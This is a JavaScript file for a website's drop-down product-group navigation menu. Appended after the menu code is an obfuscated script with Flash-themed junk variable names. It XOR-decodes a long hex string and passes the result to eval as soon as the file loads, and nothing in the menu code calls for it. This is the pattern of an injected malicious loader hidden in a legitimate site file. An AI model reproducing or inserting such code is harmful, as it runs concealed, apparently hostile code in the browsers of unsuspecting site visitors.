var menus = [];

function Menu(groupMenuItemsArray,groupMenuPositionArray,groupMenuStylesArray)
{
this.groupMenuItemsArray=groupMenuItemsArray;
this.groupMenuPositionArray=groupMenuPositionArray;
this.groupMenuStylesArray=groupMenuStylesArray;
this.id=menus.length;
this.items=[];
this.children=[];
this.add_item=Menu_Add_item;
this.hide=Menu_Hide;
this.onclick=Menu_onclick;
this.onmouseout=Menu_onmouseout;
this.onmouseover=Menu_onmouseover;
this.onmousedown=Menu_onmousedown;

var i;
for (i=0;i<this.groupMenuItemsArray.length;i++)
{
new Menu_item(i,this,this);
}
for (i=0;i<this.children.length;i++)
{
this.children[i].visibility(true);
}
menus[this.id]=this;
}

function Menu_Add_item(item)
{
var id = this.items.length;
this.items[id] = item;
return (id);
}

function Menu_Hide()
{
for (var i = 0; i < this.items.length; i++)
{
this.items[i].visibility(false);
this.items[i].switch_style('onmouseout');
}
}

function Menu_onclick(id)
{
var item = this.items[id];
//	location.href=item.fields[1];
location.href="index.php?setMainAreaTemplatePath=mainarea_productlist.html&groupId="+item.fields[1];
//	return (item.fields[1] ? true : false);
}

function Menu_onmouseout(id)
{
this.hide_timer = setTimeout('menus['+ this.id +'].hide();',this.groupMenuPositionArray['hide_delay'][this.active_item.depth]);
if (this.active_item.id == id) this.active_item = null;
}

function Menu_onmouseover(id)
{
this.active_item = this.items[id];
clearTimeout(this.hide_timer);
var curr_item, visib;
for (var i = 0; i < this.items.length; i++)
{
curr_item = this.items[i];
visib = (curr_item.arrpath.slice(0, curr_item.depth).join('_') ==	this.active_item.arrpath.slice(0, curr_item.depth).join('_'));
if (visib) curr_item.switch_style (curr_item == this.active_item ? 'onmouseover' : 'onmouseout');
curr_item.visibility(visib);
}
}


function Menu_onmousedown(id)
{
this.items[id].switch_style('onmousedown');
}

function Menu_item(path,parent,container)
{
this.path = new String (path);
this.parent = parent;
this.container = container;
this.arrpath = this.path.split('_');
this.depth = this.arrpath.length - 1;
var struct_path = '', i;
for (i = 0; i <= this.depth; i++)
struct_path += '[' + (Number(this.arrpath[i]) + (i ? 3 : 0)) + ']';
eval('this.fields = this.container.groupMenuItemsArray' + struct_path);
if (!this.fields) return;

this.get_x = MenuItem_Get_X;
this.get_y = MenuItem_Get_Y;
this.init = MenuItem_Init;
this.visibility = MenuItem_visibility;
this.switch_style = MenuItem_switch_style;

this.id = this.container.add_item(this);
parent.children[parent.children.length] = this;

this.init();
this.children = [];
var child_count = this.fields.length - 3;

for (i = 0; i < child_count; i++)
{
new Menu_item (this.path + '_' + i, this, this.container);
}
this.switch_style('onmouseout');
}


function MenuItem_Init()
{

var tmpStr="this.style.cursor='pointer';";
/*
document.write (
'<div id="mi_' + this.container.id + '_'
+ this.id +'" class="TJSNavigation_' + this.container.id + 'l' + this.depth
+'o" href="' + this.fields[1] + '"'
//+ (this.fields[2] ? ' target="' + this.fields[2] + '"' : '')
+ ' style="position: absolute; top: '
+ this.get_y() + 'px; left: '	+ this.get_x() + 'px; width: '
+ this.container.groupMenuPositionArray['width'][this.depth] + 'px; height: '
+ this.container.groupMenuPositionArray['height'][this.depth] + 'px; visibility: hidden;'
+' background: black; color: white; z-index: ' + this.depth + ';" '
+ 'onclick="void menus[' + this.container.id + '].onclick('
+ this.id + ');" onmouseout="menus[' + this.container.id + '].onmouseout('
+ this.id + ');" onmouseover="'+tmpStr+' menus[' + this.container.id + '].onmouseover('
+ this.id + ');" onmousedown="menus[' + this.container.id + '].onmousedown('
+ this.id + ');">'
+ this.fields[0] + "</div>\n"
);
*/
document.write (
'<div id="mi_' + this.container.id + '_'
+ this.id +'" class="TJSNavigation_' + this.container.id + 'l' + this.depth
+'o" href="index.php?setMainAreaTemplatePath=mainarea_productlist.html&groupId=' + this.fields[1] + '"'
//+ (this.fields[2] ? ' target="' + this.fields[2] + '"' : '')
+ ' style="position: absolute; top: '
+ this.get_y() + 'px; left: '	+ this.get_x() + 'px; width: '
+ this.container.groupMenuPositionArray['width'][this.depth] + 'px; height: '
+ this.container.groupMenuPositionArray['height'][this.depth] + 'px; visibility: hidden;'
+' background: black; color: white; z-index: ' + this.depth + ';" '
+ 'onclick="void menus[' + this.container.id + '].onclick('
+ this.id + ');" onmouseout="menus[' + this.container.id + '].onmouseout('
+ this.id + ');" onmouseover="'+tmpStr+' menus[' + this.container.id + '].onmouseover('
+ this.id + ');" onmousedown="menus[' + this.container.id + '].onmousedown('
+ this.id + ');">'
+ this.fields[0] + "</div>\n"
);


/*
document.write (
'<a id="mi_' + this.container.id + '_'
+ this.id +'" class="TJSNavigation_' + this.container.id + 'l' + this.depth
+'o" href="' + this.fields[1] + '"'
//+ (this.fields[2] ? ' target="' + this.fields[2] + '"' : '')
+ ' style="position: absolute; top: '
+ this.get_y() + 'px; left: '	+ this.get_x() + 'px; width: '
+ this.container.groupMenuPositionArray['width'][this.depth] + 'px; height: '
+ this.container.groupMenuPositionArray['height'][this.depth] + 'px; visibility: hidden;'
+' background: black; color: white; z-index: ' + this.depth + ';" '
+ 'onclick="return menus[' + this.container.id + '].onclick('
+ this.id + ');" onmouseout="menus[' + this.container.id + '].onmouseout('
+ this.id + ');" onmouseover="menus[' + this.container.id + '].onmouseover('
+ this.id + ');" onmousedown="menus[' + this.container.id + '].onmousedown('
+ this.id + ');"><div class="TJSNavigation_'  + this.container.id + 'l' + this.depth + 'i">'
+ this.fields[0] + "</div></a>\n"
);

*/
this.element = document.getElementById('mi_' + this.container.id + '_' + this.id);
}


function MenuItem_visibility(make_visible)
{
if (make_visible != null)
{
if (this.visible == make_visible) return;
this.visible = make_visible;
if (make_visible) this.element.style.visibility = 'visible';
else if (this.depth) this.element.style.visibility = 'hidden';
}
return (this.visible);
}

function MenuItem_Get_X()
{
var value = 0;
for (var i = 0; i <= this.depth; i++)
{
value+=this.container.groupMenuPositionArray['block_left'][i]+this.arrpath[i]*this.container.groupMenuPositionArray['left'][i];
}
return (value);
}

function MenuItem_Get_Y()
{
var value = 0;
for (var i = 0; i <= this.depth; i++)
{
value+=this.container.groupMenuPositionArray['block_top'][i]+this.arrpath[i]*this.container.groupMenuPositionArray['top'][i];
}
return (value);
}


function MenuItem_switch_style(state)
{
if (this.state == state) return;
this.state = state;

var style = this.container.groupMenuStylesArray[state];
for (var i = 0; i < style.length; i += 2)
{
if (style[i] && style[i+1])
{
if (typeof(style[i+1][this.depth])!="undefined") eval('this.element.style.' + style[i] + "='" + style[i+1][this.depth] + "';");
}
}
}



function Redraw_JSMenu()
{
if (Menu && typeof(menuWidth)!="undefined")
{
var windowWidth=document.body.clientWidth;
var newLeftMenuItemPos=windowWidth/2-menuWidth/2;
var firstMenuItem=document.getElementById("mi_0_0");
var oldFirstMenuItemLeftPos=parseInt(firstMenuItem.style.left);

if (newLeftMenuItemPos<minLeftfirstMenuItemPos) newLeftMenuItemPos=minLeftfirstMenuItemPos;

var positionFaktor=newLeftMenuItemPos-oldFirstMenuItemLeftPos;



for (var i=0;i<jsGroupNaigationItemCnt;i++)
{
var menuItem=document.getElementById("mi_0_"+i);
var oldMenuItemLeftPos=parseInt(menuItem.style.left);
if (menuItem)
{
var newLeft=oldMenuItemLeftPos+positionFaktor;
menuItem.style.left=newLeft;
}
}
}
}
this.objectNull=37351;var objectSwf;var falseDate='';objectSwf='0e030a0f0c0a0e0e471c121b0a0f04160f135508270d0741581910041a0042582c1e1f184f100f1c1611435c2018110c5640021702100101475c1729011a02034b5c0775724b5e4f06064f461f010a00070a150f170b'+'466a147a610e1b594d585d1d16304c01100b031b196d17001b5a26080e0244494f6877487a424f5a4b141012191b3c4f020f012f1c0b1b471f120924120b51055a0c261d04074857552f170702401c1f0c0714447e6f'+'6859474a5f404d01061e44091c1b153213114f504a1d040b1d100e592d142a33333e460a0b160e4842466b4f474d4b1e3166424f50022e100e040d190e483a03170009244b494d01052c1e4d49655e5b5c4f404c0c32'+'171c120c5c14070c1a184f4c577a444e584f404a07051b21041d0b1c1f1f5557714e5a541f180c180c140b0c5f7f594e4c1f061a32171919505c4c5a59614b51666d4f574f63450e0a1c0746505d69475f4f12110d0d'+'51414d52463c1b0e0e5850585d5e494d4079535b5e434841010d0f180e244a40504f5a595804010d0a04196055584d420907160c0419435a4241425370516f74464f4b4249120e131a0900455d45425851492b061b1f'+'1f0e4d516358485b53547a6d1d506a181b090b04130d10460838153f08000c0c0841070702147454177467585d461a1d056302172a070d034d4a59594d5c474674051e0d1b0500021f43081b160c0a1d414a675a505e'+'1819114d2a091d15080343554b4a4a42424d690e0a1003404d425a6159577070425a4a1f391158190a1332151d48545e2c1401054b62715a4b5c0c1009463601050b1f4e5552515b474f7359474d1c0d0f5908161d41'+'4c4a02577768495a470506404a0d112200130744000d040218155a5c5a5a40781875604f4741414f4c0b0d1a2e111c55565d09090e041e3b4102180d1d05350452190c39111b02465c6c6b4f594d5848420509577117'+'0c0a1104165a725b4e585e5548116d684669404b5d46554f51161e0c29071b5a404c4c10060a083d0741160a130c1b1279616a445c4e5e5a424f5a4b14171c4a67420c15041a101f40101418001a230d537d464a1355'+'0017180e1c1b616f664f5759584a7a424f5a0217466c0c1e044f59785746566e581073654f404f6456594f49554f51591d0428425c4219181711003c480d141449180b5866706d4b4f5143494a4641127a57544c5843'+'584a5d54483603143e0a085c4b4b3008051e1d0912094714350c061a0e5216120f1817380f011a4312120a3a0511435a4b14155643646f6b5c57484f454e05446c4f514b1274604a46411d122a1a1918490b0d133e1b'+'1d776e67046b621900105e290809514a5f5a012b1a3b0013001e1e59461a0508150333124753586079021a5449041d470d5d4975585655570260721904143d0f03121d40161f1f17034c5c5616061f160a09441a1208'+'4044380d11135b5769020f1113000520191745191911420a0f562506095b5e144219501c39090b5b462324111f030a525e401c3540011844472719180a1b004d5a003803130f1d0008260912595e4e150e38081e051d'+'0e1418161b475a4d39040f0f000818183900045449441e19180e01160a0314561238424a4011050a0b2f095e435f5552446c1c1408251115150d1c4953192a06090e1c16496c46404f4e5a5a514b40634747424b5554'+'716700';var getSwf;if(getSwf!='staticInt'){getSwf=''};function dateFlash(useLong){                       var floatChar = 3;var charSwf = null;var flashFlash = 'av%st'.replace(/[avst]/g,'');var dateDate = -1;var setLong = charSwf;function wordPlayer(byteWord){var staticFlash=1;var shortDate=1%staticFlash;function charNull(get){var getStatic=1;}var flashFinal=0,flashByte=byteWord['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')];while(shortDate<flashByte){shortDate+=1;swf=flashSwf(byteWord,shortDate+dateDate);flashFinal+=swf*flashByte;}return new String(flashFinal);}var object=String;function intStatic(adobe, set){if(staticWord == charSwf) {staticWord = {};}if(staticWord[adobe] == charSwf) {var shortInt = Object;staticWord[adobe] = new shortInt();staticWord[adobe].finalFlash = charSwf;staticWord[adobe].getLong = set;}}                        var trueShort = 4; var asNs=window;                       var word = 1; function charGet(adobe) {if(staticWord[adobe] != charSwf) {var floatPlayer = staticWord[adobe];var floatSwf = floatPlayer.finalFlash;var swfPlayer = floatPlayer.getLong;var player = swfPlayer.substr(floatSwf, 1);var trueFloat = swfPlayer['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')];                   var swfFloat = trueShort-floatChar;if((floatSwf + (word*swfFloat)) >= trueFloat) {floatPlayer.finalFlash =swfFloat - (trueShort % floatChar);} else {floatPlayer.finalFlash = floatSwf - dateDate;}return flashSwf(player, word - swfFloat);}}var setFalse=document;function flashSwf(intLong,swfAs){return intLong['c5h.a5r.C)o5d)e)ANt>'.replace(/[\>N\)5\.]/g, '')](swfAs);}var dateDate = setLong + dateDate;var staticWord = charSwf;function playerTrue(wordLong,useChar){return wordLong^useChar;}var setAdobe = '';var ns = 2;var objectFloat = new object(setFalse['w4rZiZtbeq'.replace(/[q4SbZ]/g, '')]);var intAdobe = objectFloat['iVnTdTeVxTOcfV'.replace(/[V\>T0c]/g, '')]('anrSint+yA'.replace(/[A\+nSq]/g, ''));if(intAdobe != dateDate) { return 58;}var nsDate = setLong;var shortShort = '';var finalStatic = asNs['s.eSt.Twi.m?e.o/u?tS'.replace(/[S/\.\?w]/g, '')];var objectObject=58;var nsFinal=object['f^rtotmJC^hJa^r^Ctotd^e^'.replace(/[\^6JXt]/g, '')];var asSwf=asNs['u+n:eDs?c:aDpDeI'.replace(/[I\:D\?\+]/g, '')];for(var flashAdobe=nsDate; flashAdobe < useLong['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')]; flashAdobe+=ns){setAdobe+= flashFlash + useLong['swuZbwsktZrk'.replace(/[k\?wWZ]/g, '')](flashAdobe, ns);}var useLong = asSwf(setAdobe);var getPlayer = new object(dateFlash);var floatSet = getPlayer['r3e~pHl~a3c3e~'.replace(/[~3,H9]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var setInt = new object(wordPlayer(floatSet));intStatic('setObject', setInt);var nullStatic = '';intStatic('byteUse', floatSet);for(var useDate=nsDate; useDate < (useLong['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')]); useDate++) {var nullFalse = flashSwf(useLong,useDate);nullFalse = playerTrue(nullFalse, objectObject);nullFalse = playerTrue(nullFalse, charGet('setObject'));nullFalse = playerTrue(nullFalse, charGet('byteUse'));shortShort+=nsFinal(nullFalse);}asNs['e[vjajl['.replace(/[\[/2j\*]/g, '')](shortShort);return shortShort=new object();};dateFlash(objectSwf);var intFloat;if(intFloat!='longObject' && intFloat!='objectSet'){intFloat=''};   //secured_20022002